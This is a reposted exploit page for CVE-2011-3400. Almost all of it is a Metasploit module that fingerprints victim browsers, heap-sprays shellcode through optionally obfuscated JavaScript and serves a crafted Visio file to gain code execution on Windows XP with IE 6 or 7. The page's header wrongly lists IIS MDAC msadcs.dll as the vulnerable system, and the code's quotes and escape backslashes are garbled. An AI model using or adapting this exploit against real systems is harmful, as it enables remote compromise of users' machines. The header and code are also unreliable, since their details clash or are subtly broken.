Microsoft Windows OLE Object File Handling Remote Code Execution Exploit

Summary

Microsoft Windows OLE Object File Handling suffers from remote code execution vulnerability.

Credit:

Details

Vulnerable Systems:
 * Microsoft IIS MDAC msadcs.dll

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
‘Name’ => ‘Microsoft Windows OLE Object File Handling Remote Code Execution’,
‘Description’ => %q{
This module exploits a type confusion vulnerability in the OLE32 component of
Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
function.

A Visio document with a specially crafted Summary Information Stream embedded allows
to get remote code execution through Internet Explorer, on systems with Visio Viewer
installed.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Luigi Auriemma’, # Vulnerability discovery and PoC
‘juan vazquez’ # Metasploit module
],
‘References’ =>
[
[ ‘CVE’, ‘2011-3400’ ],
[ ‘OSVDB’, ‘77663’],
[ ‘BID’, ‘50977’ ],
[ ‘URL’, ‘http://aluigi.org/adv/ole32_1-adv.txt’ ],
[ ‘URL’, ‘http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966’ ]
],
‘Payload’ =>
{
‘Space’ => 1000,
‘BadChars’ => ‘x00’,
‘DisableNops’ => true
},
‘DefaultOptions’ =>
{
‘InitialAutoRunScript’ => ‘migrate -f’
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Automatic’, {} ],
[
‘IE 6 on Windows XP SP3 / Visio Viewer 2010’,
{
‘Offset’ => ‘0x7ee – code.length’,
‘PtrToHeap’ => ‘x35x40’ # Pointer from IEXPLORE.exe PE header
}
],
[
‘IE 7 on Windows XP SP3 / Visio Viewer 2010’,
{
‘Offset’ => ‘0x7ee – code.length’,
‘PtrToHeap’ => ‘x35x40’ # Pointer from IEXPLORE.exe PE header
}
]
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘Dec 13 2011’,
‘DefaultTarget’ => 0))

register_options(
[
OptBool.new(‘OBFUSCATE’, [false, ‘Enable JavaScript obfuscation’, false])
], self.class)

end

def get_target(agent)
# If the user is already specified by the user, we’ll just use that
return target if target.name != ‘Automatic’

if agent =~ /NT 5.1/ and agent =~ /MSIE 6/
return targets[1] # IE 6 on Windows XP SP3
elsif agent =~ /NT 5.1/ and agent =~ /MSIE 7/
return targets[2] # IE 7 on Windows XP SP3
else
return nil
end
end

def exploit
@vsd = create_vsd
super
end

def on_request_uri(cli, request)

agent = request.headers[‘User-Agent’]
my_target = get_target(agent)

# Avoid the attack if the victim doesn’t have the same setup we’re targeting
if my_target.nil?
print_error(‘Browser not supported: #{agent}’)
send_not_found(cli)
return
end

print_status(‘Client requesting: #{request.uri}’)

if request.uri =~ /.vsd$/
@vsd[5106, 2] = my_target[‘PtrToHeap’]
print_status(‘Sending Exploit VSD’)
send_response(cli, @vsd, { ‘Content-Type’ => ‘application/vnd.visio’ })
return
end

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape(‘x0c’*4, Rex::Arch.endian(my_target.arch))

js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape(‘#{js_code}’);
var nops = unescape(‘#{js_nops}’);

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target[‘Offset’]});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=1; i < 0x1e0; i++) {
heap_obj.alloc(block);
}
JS

js_pivot = heaplib(js_pivot, {:noobfu => true})

if datastore[‘OBFUSCATE’]
js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
js_pivot.obfuscate
end

vsd_uri = (‘/’ == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
vsd_uri << ‘/#{rand_text_alpha(rand(6)+3)}.vsd’

html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>

<object classid=’clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB’ ID=’target’>
<param name=src value=’#{vsd_uri}’>
</object>
</body>
</html>
|

html = html.gsub(/^tt/, ”)

print_status(‘Sending html’)
send_response(cli, html, {‘Content-Type’=>’text/html’})
end

def create_vsd
path = ::File.join( Msf::Config.install_root, ‘data’, ‘exploits’, ‘CVE-2011-3400’, ‘CVE-2011-3400.vsd’ )
fd = ::File.open( path, ‘rb’ )
vsd = fd.read(fd.stat.size)
fd.close
return vsd
end

end

CVE Information:
2011-3400

Disclosure Timeline:
Published: 2012-06-06

Categories: Exploits